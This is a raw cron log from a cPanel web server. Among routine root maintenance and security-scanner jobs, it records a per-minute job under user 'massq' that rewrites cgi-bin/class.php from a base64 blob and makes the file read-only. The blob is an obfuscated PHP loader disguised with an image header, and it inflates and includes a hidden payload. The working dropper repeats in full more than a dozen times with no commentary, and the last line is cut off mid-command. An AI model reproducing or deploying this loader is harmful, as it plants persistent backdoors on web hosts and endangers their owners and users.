Sep 10 17:10:01 server CROND[15854]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:10:01 server CROND[15855]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:10:01 server CROND[15865]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:10:01 server CROND[15866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:10:01 server CROND[15871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:10:01 server CROND[15862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:10:01 server CROND[15867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:11:01 server CROND[16688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:11:01 server CROND[16689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:11:01 server CROND[16690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:12:01 server CROND[17061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:12:01 server CROND[17063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:12:01 server CROND[17064]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 17:12:01 server CROND[17065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:13:01 server CROND[17444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:13:01 server CROND[17445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:13:01 server CROND[17446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:14:01 server CROND[17910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:14:01 server CROND[17911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:14:01 server CROND[17912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:15:01 server CROND[18285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:15:01 server CROND[18288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:15:01 server CROND[18293]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:15:01 server CROND[18297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:15:01 server CROND[18298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:15:01 server CROND[18300]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:15:01 server CROND[18299]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 17:15:01 server CROND[18296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:16:01 server CROND[19190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:16:01 server CROND[19191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:16:01 server CROND[19192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:17:01 server CROND[19559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:17:01 server CROND[19560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:17:01 server CROND[19561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:18:01 server CROND[19926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:18:01 server CROND[19927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:18:01 server CROND[19928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:19:01 server CROND[20440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:19:01 server CROND[20441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:19:01 server CROND[20442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:20:01 server CROND[20821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 17:20:01 server CROND[20820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:20:01 server CROND[20824]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:20:01 server CROND[20831]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 17:20:01 server CROND[20835]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 17:20:01 server CROND[20836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:20:01 server CROND[20832]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:20:01 server CROND[20833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:20:01 server CROND[20834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 17:21:01 server CROND[21666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:21:01 server CROND[21667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > 